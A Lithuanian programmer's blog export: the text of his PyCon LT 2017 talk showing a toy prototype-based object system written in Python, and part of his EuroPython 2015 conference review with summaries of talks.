Petras Zhttp://www.blogger.com/profile/17705772617528150841noreply@blogger.com0tag:blogger.com,1999:blog-1632656242730180910.post-85974416824090315452017-05-15T00:01:00.001+03:002018-01-07T19:31:46.411+02:00Pycon 2017 LT: Prototipinio OOP įgyvendinimas su PythonŠeštadienį Kaune vyko Pycon LT 2017 konferencija (<a href="https://l.facebook.com/l.php?u=http%3A%2F%2Fpycon.lt%2F&h=ATOr8us2Dg_Qi4GLgS680zf1JADMScNNS5lcI7YQWBzIMuruo-3I0NIa59sz8jikdsfWPwhCMyg9Ljyx1u1GvzwiWZ7C9Oq5mzAAyoNPY5bx3CrYEW9DhPtB2wSKdhC_ZRTbZ5xTH0tiiLhATs6-cSJDKGg_&enc=AZM_5jYFKmauW-vyAkXn5Y3ETHQrrT7Frol8h6J2zvV6zzpab9TRNsBS0IO0wxFWccdpTFM1vmSWKuXpWfsAVaoNtO6E-0aBBLMDIIPrmHv3d9Q3DILIaBEBCBSCqhrtidCFwBMidxyp8h3HdeqTC3Aa8YhSGmHGFxQQr87mSU4Tjpc3k0qLPqD7ai2IZc-2hSGLdytflT44-NItTcGyTO2V&s=1" rel="nofollow" target="_blank">http://pycon.lt/</a>). Čia mano pranešimo ("Prototipinio OOP įgyvendinimas su Python"), kurį aš skaičiau, tekstas.<br />
<br />
Skaidrės:<br />
<a href="http://petraszd.com/pycon-2017/" target="_blank">http://petraszd.com/pycon-2017/</a><br />
<br />
Kodo pavyzdžiai:<br />
<a href="https://bitbucket.org/petraszd/pyconlt-2017-demo" rel="nofollow" target="_blank">https://bitbucket.org/petraszd/pyconlt-2017-demo</a><br />
<span data-ft="{"tn":"K"}"><span class="UFICommentBody">Pačios kalbos įrašas:<br /><a href="https://www.youtube.com/watch?v=Jcgp5-8_XkU">https://www.youtube.com/watch?v=Jcgp5-8_XkU</a></span></span> <br />
<br />
<br />
--------------------<br />
<br />
Sveiki,<br />
<br />
Aš esu Petras Zdanavičius. Šiandieną aš jums pristatysiu pranešimą apie prototipinį OOP ir parodysiu demonstracinį jo įgyvendinimą Python pagalba.<br />
<br />
Pranešimas nebus naudingas praktiškai. Tai daugiau kompiuterių mokslo ar net kompiuterių filosofijos tema. Filosofijos, nes aš kaip ir kiekvienas programuotojas, mėgstu savintis visuomenėje gerbiamus irba mėgstamus titulus. Kaip menininkas, kūrėjas, filosofas [pauzė], ninzė. Ar roko žvaigždė (rockstar).<br />
<br />
Nes jo -- kiekvienas programuotojas tamsioje kamūrkėje po 80-uom valandų per savaitę kalantis kodą, turi ekvivalentų gyvenimo būdą kaip roko žvaigždė.<br />
<br />
Apie ką aš čia? A. Tai va, aš jums papasakosiu apie prototipais paremtą OOP.<br />
<br />
<h3>
OOP Apibrėžimas I</h3>
Jeigu, jūs programuojate (ypač jeigu jūs programuojate Python), jūs esate susidūręs su OOP.<br />
<br />
OOP - programavimo paradigma, kompiuterinių programų architektūroje naudojanti objektus ir jų sąveikas [Wikipedia]<br />
<br />
Čia Lietuvos Wikipedia taip sako. Aš nieko nesuprantu, kas čia bandoma pasakyti.<br />
<br />
<h3>
OOP Apibrėžimas II</h3>
Mano apibrėžimas. OOP:<br />
<br />
- Yra objektai<br />
- Objekto viduje saugoma jo būsena. Atributų pavidalu<br />
- Objektas turi sąsają, bendravimui su išoria. Metodų pavidalu<br />
- Objektai sąveikauja vieni su kitais ne tiesiogiai keisdami vienas kito būseną, bet siuntinėdami vienas kitam žinutes. Metodų kvietimo pavidalu<br />
<br />
[Petras (c)]<br />
<br />
<h3>
"Klasikinis" OOP</h3>
Kai mes sakome OOP, tai galvoje paprastai turime klasėmis paremtą variantą. Nu tą klasikinį. Nu tą, kaip Java. Kur yra klasės. Jose apsirašai, kaip veiks objektai. Ta klasė, tai tarsi kažkoks Platono formų teorijos atitikmuo. Kur tobulos formos egzistuoja tik abstrakčiame idėjų pasaulyje. O empiriniame pasaulyje (Dar žinomame kaip realybė) egzistuoja tik netobulos jų kopijos. Panašiai kaip tobulos klasės ir netobuli objektai.<br />
<br />
<h3>
OOP Istorija</h3>
1970-iais Alan Kay vadovaujama Xerox PARC komanda sukuria Smalltalk programavimo kalbą. Kalba netinkamas žodis. Programavimo sistemą. Programavimo mašiną? Tai turėjo būti nauja paradigma. Kaip jie patys teigė "naujojo pasaulio" "Žmogaus ir mašinos simbiozė" paradigma. Ar nesakiau, kad programuotojai mėgsta savintis skambius žodžius.<br />
<br />
Ir jų sistema labai skyrėsi nuo to, ką turime dabar. Ta programavimo kalba nebuvo atskiriama nuo IDE (Integruota kūrimo aplinkos). Ta prasme, viskas buvo vienoje aplikacijoje. Ir teksto redaktorius ir versijavimas, ir dokumentacija, ir atsarginės kopijos, ir programos būsena irgi buvo Smalltalk mašinoje.<br />
<br />
Iš dabartinių aplinkų turbūt būtų galima palyginti su Racket. Arba žaidimų varikliukų aplinkomis. Tokių kaip Unreal ar Unity. Kurie lenkia visas šlubas sistemas irba konfigūracijas, kurias mes naudojame programuodami Web su Python. Ir lenkia keliais dešimtmečiais.<br />
<br />
Bet grįžtant prie istorijos. Tada atėjo Bjarne Stroustrup. Jam patiko OOP idėjos. Ir jis jas paėmė ir dalį jų daugmaž pritempė prie C ir parašė transliatorių į C, kurį pavadino C++.<br />
<br />
Tada atėjo Syn Microsystems, pasakė, kad C++ yra perdaug kosmosas. Paėmė C++ pseudo OOP ir apgludino aštrius kampus. Dabar mes todėl turime Java. Java bei C++ šiaip laikais yra laikomos kaip etaloninės, pavyzdinės OOP kalbos. O Alan Kay verkia kamputyje.<br />
<br />
<h3>
Prototipinio OOP Istorija</h3>
Toje pačioje Xerox PARC toks David Ungar ir toks Randall Smith dirbdami su Smalltalk'u nusprendžia, kad tas dualizmas tarp klasių ir objektų yra ne fengšui. Kad kodo bazės egzistavimo cikle vis tiek prisireikia keisti klasių struktūrą. Kartais vien dėl to, kad nu va reikia tokio vieno objekto. Nu vieno vienintelio mažučiuko. Nu bet labai reikia. Nu bet būtent tau reikia vieno objekto. Nu reeeiiikiaaa. Ir dėl to vieno objekto reikia griauti velniop visą klasių hierarchiją ir kažkaip įterpti tą naują klasę tam naujam objektui.<br />
<br />
Nors realiai, tai paimi bet kurią esamą klasę, prirašai ten if'ų ir normaliai. Sukasi kaip bitė.<br />
<br />
Tai jiems kilo klausimas: "o kas jeigu galėtum praplėsti ne klases, o objektus". Iš to automatiškai seka kitas klausimas: "o kas jeigu nėra klasių, o yra tik objektai?".<br />
<br />
<h3>
Self</h3>
Ir būtent taip gimė programavimo kalba "Self".<br />
<br />
Kadangi tais laikais žmonės vis dar nebuvo praradę ūpo eksperimentuot su kodo redaktoriais (kitaip nei šiais, kai naujausi ir populiariausi kodo redaktoriai yra naršyklės... Kaip "Visual Studio Code" ar "Atom"), tai jie paėmė ir tuo pačiu sukūrė integruotą kūrimo aplinką, kuri atrodė taip.<br />
<br />
[Self nuotrauka]<br />
<br />
<i>(Petro pastaba po visko: patingėjiau pasidaryti Self VM nuotrauką. Tai ir nebuvo nei nuotraukos, nei šito teksto)</i><br />
<br />
<h3>
JavaScript</h3>
Kalba buvo eksperimentitnė. Ji vis dar gyva. Bet šiaip visas prototipinis konceptas būtų miręs, jeigu ne 10 dienų Brendan Eich gyvenime. Brendan'as 1995 turėjo tokią užduotį sukurti programavimo kalbą. Jis tuo metu buvo susižavėjęs dviem kitoms kalbomis. "Schema" (kas yra Lisp-1) ir jau minėtoji "Self". Tai jis ir kūrė kalbą, kuri buvo keista tų dviejų sąjunga. Neekstremaliai humaniškai funkcinė (bet ne visai) prototipais paremta OOP kalba.<br />
<br />
Aij, ir tuo metu buvo ant bangos Java, tai Brendan'ui buvo pasakyta, kad jo kalba turi atrodyti kaip Java.<br />
<br />
Štai kaip mes dabar turime turbūt pačią populiariausią kaip nepagrindinę programavimo kalbą JavaScript. Nepagrindinę, nes paprastai žmonės programuoja kažkuo ir tada ant viršaus dar JavaScript.<br />
<br />
Ir didokas procentas JavaScript programuotojų nė velnio nežino, kad ten yra kažkokie prototipai ir iš vis, kas jie ir kaip jie veikia.<br />
<br />
Dėl to aš jums pabandysiu parodyti Python'o kodo pagalba, kas yra prototipais paremta objektinė sistema.<br />
<br />
<h3>
Kodas (Kas yra kanoninis objektas)</h3>
Pagal Java'inį OOP apibrėžimą yra trys OOP banginiai: enkapsulecija, paveldėjimas ir polimorfizmas. Pats Python'as realiai iš jų įgyvendina tik paveldėjimą. Tai čia mes irgi daugiausia dėmesio kreipsime į paveldėjimą.<br />
<br />
Klasikiniame modelyje paveldėjimas vyksta klasių lygmenyje. O prototipiniame paveldėjimas vyksta objektų lygmenyje.<br />
<br />
Pradėkime nuo to, kad tai yra prototipinis modelis. Turi būti bent vienas kanoninis objektas, kūrį galime praplėsti savo reikmėmis.<br />
<br />
Mes kurdami naudojame Python programavimo kalbą. Viena pagrindinių ir galingiausių Python'o kalbos įrankių yra žodynas (dict). Tai ir mes savo implementacijoje kaip vidinę objekto struktūrą naudosime Objektą<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;">Object = {<br /> '__proto__': {}<br />}</span><br />
<br />
Kaip matote, tai yra tiesiog žodynas, savyje turintis vieną mums magišką raktą `__proto__`. Kas esate susidūrę su JavaScript, jau galite įtarti kaip viskas veiks.<br />
<br />
Ir tuo pačiu susitarsime, kad niekad pačio žodyno tiesiogiai neliesime. Tam naudosime `proto` modulio funkcijas.<br />
<br />
Taigi, pradžioja mums reikia būdų tą objektą praplėsti ir tuo pačiu būdo kaip sukurti naują objektą, jeigu mums nusispjauti, kas jo prototipas.<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;">obj1 = p.create({'a': 'a-1', 'b': 'b-1'})<br />obj2 = p.extend(obj1)<br /><br />assert obj1['a'] == 'a-1'<br />assert obj2['__proto__'] == obj1<br /><br />print("It is fine!!!")</span><br />
<br />
Tam bus dvi funkcijos. `create`, kuri pagal nutylėjimą praplės standartinį `Object` ir tuo pačiu priskirs jam kažkokius atributus.<br />
<br />
Kita bus `extend`. Jos esmė bus praplėsti jau egzistuojantį objektą.<br />
<br />
Pažiūrim, ar jos veikia. Veikia. Dabar pažiūrim, kaip jos parašytos.<br />
<span style="font-family: "courier new" , "courier" , monospace;"><br />def extend(other, keys=None):<br /> obj = {'__proto__': other}<br /> if keys is not None:<br /> obj.update(keys)<br /> return obj<br /><br /><br />def create(keys=None):<br /> if keys and '__proto__' in keys:<br /> prototype = keys.pop('__proto__')<br /> else:<br /> prototype = Object<br /> obj = extend(prototype, keys)<br /> return obj</span><br />
<br />
Ganėtinai paprastai. Pirma sukuria naują žodyną. `__proto__` raktą nurodo į praplečiamą objektą ir jeigu reikia sukuria naujus reikšmių raktus.<br />
<br />
`create` tuo tarpu tiesiog <i>shortcut'as</i> į `extend`.<br />
<br />
Einam prie įdomesnio funkcionalumo. Galimybės keisti objektų būseną. Funkcinio programavimo fanai ir karvės to nesupras.<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;">obj1 = p.create({'a': 'a-1'})<br /><br />obj2 = p.extend(obj1)<br />p.set(obj2, 'b', 'b-2')<br /><br />assert p.get(obj2, 'a') == 'a-1'<br />assert p.get(obj2, 'b') == 'b-2'<br /><br />p.set(obj2, 'a', 'a-2')<br />assert p.get(obj2, 'a') == 'a-2'<br />assert p.get(obj2, 'b') == 'b-2'<br /><br />assert p.get(obj1, 'a') == 'a-1'<br /><br />assert p.get(obj2, 'c') is None<br />print("It is fine!!!")</span><br />
<br />
Mes norime gauti ir keisti objektų atributus. Kadangi susitarėme, kad tiesiogiai pačių Python'o žodynų neliesime, tai tam turime dvi pagalbines funkcijas, išradingais pavadinimais `get` ir `set`.<br />
<br />
Pažiūrim, ar veikia. Veikia. Pažiūrim, kaip ir kodėl veikia.<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;">def set(obj, attribute_name, value):<br /> obj[attribute_name] = value<br /> return value<br /><br /><br />def get(obj, attribute_name):<br /> current_obj = obj<br /> while True:<br /> if attribute_name in current_obj:<br /> return current_obj[attribute_name]<br /> current_obj = current_obj.get('__proto__', None)<br /> if current_obj is None:<br /> break<br /><br /> return None</span><br />
<br />
`set` yra žymiai paprastesnė. Ji tiesiog pakeičia arba sukuria vidinio Python žodyno raktą. Viskas.<br />
<br />
`get` yra įdomesnis. Jame ir yra visa esmė. Pradedame nuo esamo objekto ir ieškome norimo atributo jame. Jeigu neradome keliaujame giliau į jo prototipą. Vėl ieškome atributo. Ir taip kol ką nors surandame arba baigiasi prototipai.<br />
<br />
Pastaba: Norint sudirbti algoritmą tereikia paimti sukurti 2 objektus ir jų prototipus nurodyti vienas į kitą.<br />
<br />
Ir čia yra visa esmė.<br />
<br />
Bet OOP nebūtų OOP, jeigu nebūtų metodų ir jų kvietimo.<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;">def get_two():<br /> return 2<br /><br /><br />obj3 = p.create({'get_two': get_two})<br />assert p.call(obj3, 'get_two') == 2<br /><br />obj4 = p.extend(obj3)<br />assert p.call(obj4, 'get_two') == 2<br /><br />print("It is fine!!!")</span><br />
<br />
Čia turime `call` funkciją. Aš jums jos implementaticos dar nerodysiu, nes pereisime prie magijos.<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;">def get_foo_plus_1():<br /> return p.get(this, 'foo') + 1<br /><br /><br />proto_obj = p.create({<br /> 'get_foo_plus_1': get_foo_plus_1<br />})<br /><br /><br />obj5 = p.extend(proto_obj, {'foo': 1})<br />obj6 = p.extend(proto_obj, {'foo': 2})<br /><br />assert p.call(obj5, 'get_foo_plus_1') == 2<br />assert p.call(obj6, 'get_foo_plus_1') == 3<br />print("It is fine!!!"</span>)<br />
<br />
Kažkaip norisi įdomesnių metodų. Kurie pasiektų patį objektą. Tam mums reikia `this`.<br />
<br />
Visas šitas marazmas, beje, veikia.<br />
<br />
Implementacija. Gink die, nedarykite niekad taip.<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;">def call(obj, attribute_name, *args):<br /> function = get(obj, attribute_name)<br /><br /> this_backup = this<br /> _builtins.this = obj<br /> result = function(*args)<br /> _builtins.this = this_backup<br /> return result<br /><br /><br />try:<br /> import builtins as _builtins<br />except ImportError:<br /> import __builtin__ as _builtins<br />_this = create()<br />_builtins.this = _this</span><br />
<br />
Jeigu paimsite JavaScript. Tai toje kalboje visada yra `this` kintamasis. Visada. Net ir globalioje vardų erdvėje (<i>namespace</i>). Tai ir mes tokį va sukuriame. Geras? Ne? Python 2 ir 3 skiriasi, bet abu leidžia nesudėtingai šaudyti sau į kojas.<br />
<br />
Tada `call`. Paprasta. Pernaudojame `get`, kad gauti funkciją. Nes ji gali būti ir giliau. Išsisaugojame dabartinę `this` reikšmę. Nustatome ją į einamą objektą. Iškviečiam funkciją. Gražiname prieš tai buvusį this.<br />
<br />
<h3>
Pabaiga</h3>
Kaip ir viskas. Ačiū, kad klausėte. Jeigu turite klausimų (nelabai įsivaizduoju kokių), tai mielai į juos atsakysiu.Petras Zhttp://www.blogger.com/profile/17705772617528150841noreply@blogger.com0tag:blogger.com,1999:blog-1632656242730180910.post-47144582385126496312015-09-09T00:54:00.001+03:002015-09-09T00:54:30.807+03:00EuroPython 2015 Bilbao apžvalgaKaip ir 2014 metų <a href="http://petraszd.blogspot.com/2014/08/europython-2014-apzvalga-sau.html" target="_blank">[1]</a>, tai ir šių metų liepos gale buvau EuroPython konferencijoje, skirtoje (neįtikėtina) Python programavimo kalbai. Tikriausiai reikia būti Python programuotoju, norint suprasti šitą įrašą. Visi kiti gali į jį žiūrėti kaip į dar vieną mano "Aš prastai piešiu" įrašą (Froidui iškiltų klausimas, kokio velnio aš tiek gyvačių pripiešiau).<br />
<br />
Konferencija turi savo ritmą:<br />
- Ryte ateini apsiblausęs į vietą<br />
- Klausai pranešimus<br />
- Pertraukose valgai bet ką, ką duoda konferencijos organizatoriai (Šiuo atveju buvo pinčos <a href="https://en.wikipedia.org/wiki/Pincho" target="_blank">[2]</a>. Privalgiau tiek pusėtinos kokybės pinčų, kad dar iki dabar nekenčiu jų)<br />
- Geri kavą (nors gyvenime negeriu), nes kitaip merkiasi akys<br />
- Geri gazuotus gėrimus<br />
- Užpuola sąžinė, kad dieta tragiška, tai suvalgai vieną skiltelę obuolio ir išgeri vieną stiklinę vandens<br />
- Dar pertraukose kalbi su visais kaip užkniso pinčos ir apie Python kalbą<br />
- Vakare priliuobi vyno ir kalbi su kitais konferencijos dalyviais apie tą patį, ką kalbėjai prieš metus
<br />
<br />
Geriausiai visus pokalbius iliustruoja šis puikus Miglės Anušauskaitės komiksas:
<br />
<a href="http://ihavenoteeth.com/2015/07/12/couchsurfing/">http://ihavenoteeth.com/2015/07/12/couchsurfing/</a>
<br />
<br />
Kalbi iki išnaktų, nes kitą dieną privalu konferencijos pranešimus klausytis apsimiegojus.<br />
<br />
<h3>
Apibendrinimas</h3>
<br />
Jeigu reiktų apibendrinti konferenciją, tai aš išskirčiau keturis punktus apie tai, ko galima tikėtis iš pačios programavimo kalbos ir jos ekosistemos netolimoje ateityje.<br />
<br />
<h4>
Lygios galimybės
</h4>
<br />
Turbūt pats netechniškiausias konferencijos akcentas. Bet labai stipriai dominuojantis visos konferencijos metu. Angliškai buvo naudojamas terminas "<i>Diversity</i>".
<br />
<br />
Aš pats nelabai žinau, kaip iki galo į jį žiūrėti. Python bendruomenė labai aktyviai stengiasi į jos veiklą įtraukti (ale?) diskriminuojamas grupes. Didžiausias dėmesys skiriamas moterų integracijai. Tuo hipokritiškai diskriminuojant įvairias kitas mažumas (LGBT, "neprogramuotojiškos" rasės ir t.t.).
<br />
<br />
Ir iš vis, to hipokritiškumo labai daug visoje toje kovoje dėl lygybės. Pavyzdžiui, vienoje kalboje programuotoja pasakojo, kaip ją labai įžeidė kai pavadino "moterimi programauotoja" (<i>girl programmmer</i>), o ne tiesiog programuotoja (<i>programmer</i>). Tada už kelių sakinių ji pradėjo pasakoti, kad ji organizuoja PyLadies ir kad tai renginys programuotojos moterims (<i>for woman programmers</i>)...
<br />
<br />
Taipogi konferencijos pranešimų kokybė, mano manymu, yra truputį kritusi. Bent jau iš techninės pusės. Labai daug paprastučių ir/ar netechniškų pranešimų. Ir aš manau dėl to, kad pradedančiosios programuotojos moterys yra labai skatinamos skaityti pranešimus. Kaip pradedančiosios jos tiesiog neturi jokių galimybių prilygti labiau patyrusioms programuotojoms ar programuotojams.
<br />
<br />
Priemonės, mano nuomone, yra prastokos. Bet rezultatai yra teigiami. Visos tos kvailybės veikia -- tų galimybių visiems (ne tik moterims) atsiranda daugiau. Bendruomenė tampa atviresnė ir įvairesnė. Bet priemonės tai šleivos. Bet veikia. Dėl to aš esu už šleivas priemones, nes man patinka rezultatai. Bet jos vis tiek šleivos
<br />
<pre>(Nuo čia prasideda labiau techninė dalis
(Bet labai padrika
(Beje, man vienas graikas teigė, kad Guido jam sakė, kad nemėgsta LISP
(Man tai patinka LISP)))) </pre>
<h4>
Mikro servisai</h4>
<blockquote class="tr_bq">
In computing, microservices is a software architecture style in which complex applications are composed of small, independent processes communicating with each other using language-agnostic APIs. <a href="http://martinfowler.com/articles/microservices.html" target="_blank">[3]</a><a href="https://en.wikipedia.org/wiki/Microservices" target="_blank">[4]</a>
</blockquote>
Labai daug pranešimų apie mikro servisus. Jie nelabai daug tiesiogiai siejasi su Python. Tačiau visas servisų pasaulis panašu, kad juda link mikro servisų. Reiškia Python web servisai taip pat turės judėti link mikro servisų. Ir jau projekto/produktų (ar komponentų; ar servisų) lygmenyje konkuruoti dėl egzistencijos su likusiomis technologijomis ir programavimo kalbomis.
<br />
<br />
Ką tai reiškia Python pasaulyje? Aš apsiimsiu gana rizikingu ir nedėkingu amatu -- prognozėmis. Prie visa ko, tai tuo pačiu reiškia ir Django mirtį.
<br />
<br />
<h4>
Neprivalomas tipų sistema arba tipų užuominos (<i>type hints</i>)
</h4>
<br />
EuroPython 2014 Bob Ippolito skaitė pranešimą apie Python VS Haskell ar panašiai <a href="https://ep2014.europython.eu/en/schedule/sessions/121/" target="_blank">[5]</a>. Vienas iš jo pasiūlymų Python buvo naudoti mypy <a href="http://mypy-lang.org/" target="_blank">[6]</a>, statiniam tipų analizavimui. Ir kiek galima daugiau Python kode naudoti neprivalomas (<i>optional</i>) tipų anotacijas. Aš tada nusprendžiau, kad jis nusišneka.
<br />
<br />
Bac už metų tas, ką jis siūlė, ima ir įvyksta. Python 3 turi tipų neprivalomą anotacijų sistemą. Ir pats Guido rekomenduoja naudoti mypy.
<br />
<br />
<h4>
asyncio
</h4>
<blockquote class="tr_bq">
This module provides infrastructure for writing single-threaded concurrent code using coroutines, multiplexing I/O access over sockets and other resources, running network clients and servers, and other related primitives <a href="https://docs.python.org/3/library/asyncio.html" target="_blank">[7]</a>
</blockquote>
Nors modulio dokumentacija teigia, kad pats modulis yra šiek tiek eksperimentinis ir Python kalbos prižiūrėtojai pasilieka teisią jį išimti, bet paklausius, kiek daug apie asyncio yra šnekama, man panašu, kad asyncio pasilieka ir kad visos aukšto lygio bibliotekos (pvz.: twisted, tornado) migruos link asyncio.
<br />
<h3>
<br /></h3>
<h3>
Mano klausyti pranešimai</h3>
<br />
<h4>
2015-07-20: WELCOME</h4>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-5PJzdAgp0Cs/Ve9OjHzqcMI/AAAAAAAABDU/LgE3pMwsU18/s1600/ep2015-0001.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://3.bp.blogspot.com/-5PJzdAgp0Cs/Ve9OjHzqcMI/AAAAAAAABDU/LgE3pMwsU18/s320/ep2015-0001.jpg" width="283" /></a></div>
<br />
Labai keistas pranešimas. Organizatoriai bėdavojosi, kaip sunku buvo organizuoti. Ir taip liūdnai ir niūriai kalbėjo, kad aš pasijutau kaltas dėl to, kad iš vis atvykau į konferenciją. Tarsi, norėjosi organizatorių atsiprašyti už tai, kad sumokėjau jiems kelis šimtus eurų.
<br />
<br />
<h4>
2015-07-20: Keynote: It's Dangerous To Go Alone
</h4>
<a href="https://ep2015.europython.eu/conference/talks/keynote-its-dangerous-to-go-alone">https://ep2015.europython.eu/conference/talks/keynote-its-dangerous-to-go-alone</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-MxYBRCzDZrw/Ve9OjAzjVOI/AAAAAAAABDQ/H7mHTYxnYNU/s1600/ep2015-0002.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="255" src="http://1.bp.blogspot.com/-MxYBRCzDZrw/Ve9OjAzjVOI/AAAAAAAABDQ/H7mHTYxnYNU/s320/ep2015-0002.jpg" width="320" /></a></div>
<br />
DjangoGirls įkūrėjos pasakojo, kaip susitiko ir kaip įkūrė savo organizaciją. Taip pat pasakojo apie voveres ir šeškus. Šiaip tai gera ir nuotaikinga kalba apie diskriminaciją programuotojų bendruomenėse. Su pozityviu žvilgsniu į ateitį. Ir dar pareklamavo būsimą knygą Python pradedančiosioms (ir pradedantiesiems): "Yay Python!".
<br />
<a href="https://djangogirls.org/">https://djangogirls.org/</a><br />
<a href="http://yaypython.com/">http://yaypython.com/</a>
<br />
<br />
<h4>
2015-07-20: Asyncio Stack & React.js or Development on the Edge </h4>
<a href="https://ep2015.europython.eu/conference/talks/asyncio-stack-reactjs-or-development-on-the-edge">https://ep2015.europython.eu/conference/talks/asyncio-stack-reactjs-or-development-on-the-edge</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-A8tm4qD-n6c/Ve9OjAo-OeI/AAAAAAAABHY/Sg5gPLij_qU/s1600/ep2015-0003.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="266" src="http://1.bp.blogspot.com/-A8tm4qD-n6c/Ve9OjAo-OeI/AAAAAAAABHY/Sg5gPLij_qU/s320/ep2015-0003.jpg" width="320" /></a></div>
<br />
Pranešėjas pasakojo apie save. Pasakojo apie savo karjerą. Pasakojo apie ECMAScript 2015. Pasakojo apie React.js. Pačiam gale užsiminė, kad kuriant React.js aplikaciją kaip backend serverį galima naudoti Python su asyncio. Hmmm... Bent jau sužinojau, kad yra Python2 tulip portas (trollius):
<br />
<a href="http://www.ecma-international.org/ecma-262/6.0/">http://www.ecma-international.org/ecma-262/6.0/</a><br />
<a href="http://facebook.github.io/react/">http://facebook.github.io/react/</a><br />
<a href="https://pypi.python.org/pypi/trollius">https://pypi.python.org/pypi/trollius</a>
<br />
<br />
<h4>
2015-07-20: Python for IT specialists' tasks automation
</h4>
<a href="https://ep2015.europython.eu/conference/talks/python-for-it-specialists-tasks-automation">https://ep2015.europython.eu/conference/talks/python-for-it-specialists-tasks-automation</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-2XefdZ7HoSE/Ve9OkMs5C6I/AAAAAAAABHY/-d-6MqTrNNQ/s1600/ep2015-0004.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="306" src="http://3.bp.blogspot.com/-2XefdZ7HoSE/Ve9OkMs5C6I/AAAAAAAABHY/-d-6MqTrNNQ/s320/ep2015-0004.jpg" width="320" /></a></div>
<br />
Pranešėjas pasakojo apie įvairius įrankius, kurie skirti įvairių užduočių automatizavimui. Su Python visa tai susiję tik tuo, kad kai kurie iš jų gali paleisti Python skriptą (šalia visų kitų programavimo kalbų). Hmmm...
<br />
<br />
<h4>
2015-07-20: PIP Internals
</h4>
<a href="https://ep2015.europython.eu/conference/talks/pip-internals">https://ep2015.europython.eu/conference/talks/pip-internals</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-0zB7B8b_oxQ/Ve9OrwGkaqI/AAAAAAAABHg/2YCnzvjRf_Y/s1600/ep2015-0005.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="282" src="http://2.bp.blogspot.com/-0zB7B8b_oxQ/Ve9OrwGkaqI/AAAAAAAABHg/2YCnzvjRf_Y/s320/ep2015-0005.jpg" width="320" /></a></div>
<br />
Daugiausia pasakojo apie PIP panaudojimą. Paskui kažką lyg ir bandė pasakoti, bet nelabai įdomiai, tai ne kažką ir teatsimenu. Kas įdomesnio? Sužinojau apie wheel, kuris tarsi skirtas pakeisti .egg:
<br />
<blockquote class="tr_bq">
A wheel is a ZIP-format archive with a specially formatted filename and the .whl extension
</blockquote>
Pypa (<i>python packaging</i>) jį irgi rekomenduoja.
<br />
<a href="https://python-packaging-user-guide.readthedocs.org/">https://python-packaging-user-guide.readthedocs.org</a><br />
<a href="https://pip.pypa.io/">https://pip.pypa.io</a><br />
<a href="https://wheel.readthedocs.org/">https://wheel.readthedocs.org</a>
<br />
<br />
<h4>
2015-07-20: Knowing your garbage collector
</h4>
<a href="https://ep2015.europython.eu/conference/talks/knowing-your-garbage-collector">https://ep2015.europython.eu/conference/talks/knowing-your-garbage-collector</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-cj1xN7AK-Yc/Ve9OkojfDkI/AAAAAAAABDs/n0sYuuYajAo/s1600/ep2015-0006.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://3.bp.blogspot.com/-cj1xN7AK-Yc/Ve9OkojfDkI/AAAAAAAABDs/n0sYuuYajAo/s320/ep2015-0006.jpg" width="299" /></a></div>
<br />
Pagaliau techniškai sudėtingesnė ir įdomesnė kalba. Ir netgi tiesiogiai susijusi su Python. Keli atsitiktiniai pastebėjimai:
<br />
<br />
Sąmoningai supratau, kad Python GC turi ciklų detektorių. Kas visiškai logiška ir turbūt šiaip pats tą išmastyčiau. Bet tik pranešimo metu pirmą kartą tą suvokiau. Nes aš žioplokas.
<br />
<br />
Yra toks Python modulis, kaip gc. Tai galima daryti <i>import gc</i> ir daryti burtus.
<br />
<a href="https://docs.python.org/3/library/gc.html">https://docs.python.org/3/library/gc.html</a>
<br />
<a href="http://gchandbook.org/">http://gchandbook.org/</a>
<br />
<a href="http://www-formal.stanford.edu/jmc/recursive.pdf">http://www-formal.stanford.edu/jmc/recursive.pdf</a>
<br />
<br />
<h4>
2015-07-20: Metrics-driven development
</h4>
<a href="https://ep2015.europython.eu/conference/talks/metrics-driven-development">https://ep2015.europython.eu/conference/talks/metrics-driven-development</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-n6MebpEHheU/Ve9OlIEQBLI/AAAAAAAABHY/UODKJUUixl4/s1600/ep2015-0007.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="190" src="http://3.bp.blogspot.com/-n6MebpEHheU/Ve9OlIEQBLI/AAAAAAAABHY/UODKJUUixl4/s320/ep2015-0007.jpg" width="320" /></a></div>
<br />
Pasakojo kaip jie <i>Spotify</i> matuoja įvairias keistesnių vartotojų elgsenos statistikas. Nelabai įstrigo šita kalba. Įstrigo tik tas faktas, kad pranešėja yra viena iš <a href="http://pyladies.com/">pyladies.com</a> aktyvisčių. Ir man labiausiai įstrigo tas faktas, kad kalboje ji reklamavo <i>pyladies</i> ir bereklamuodama panaudojo tą patį juokelį, kurį naudojo <i>DjangoGirls</i> vadovės savo kalboje. Tą, kad <i>DjangoGirls</i> (ar <i>pyladies</i>) veikia visuose žemynuose, išskyrus Antarktidą. Taip. Cha, cha, cha.<br />
<br />
<h4>
2015-07-20: Sustainable way of testing your code
</h4>
<a href="https://ep2015.europython.eu/conference/talks/sustainable-way-of-testing-your-code">https://ep2015.europython.eu/conference/talks/sustainable-way-of-testing-your-code</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
